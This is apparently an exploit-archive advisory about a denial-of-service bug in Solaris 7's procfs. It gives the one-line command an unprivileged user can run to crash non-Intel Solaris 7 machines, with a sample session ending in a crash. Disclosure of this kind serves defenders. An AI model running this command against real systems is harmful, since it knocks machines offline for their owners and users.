Sun Solaris 7.0 - 'procfs' Denial of Service
source: https://www.securityfocus.com/bid/448/info
A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:
more /proc/self/psinfo
This is due to a bug in the Solaris 7 procfs.
%more /proc/self/psinfo
[crash]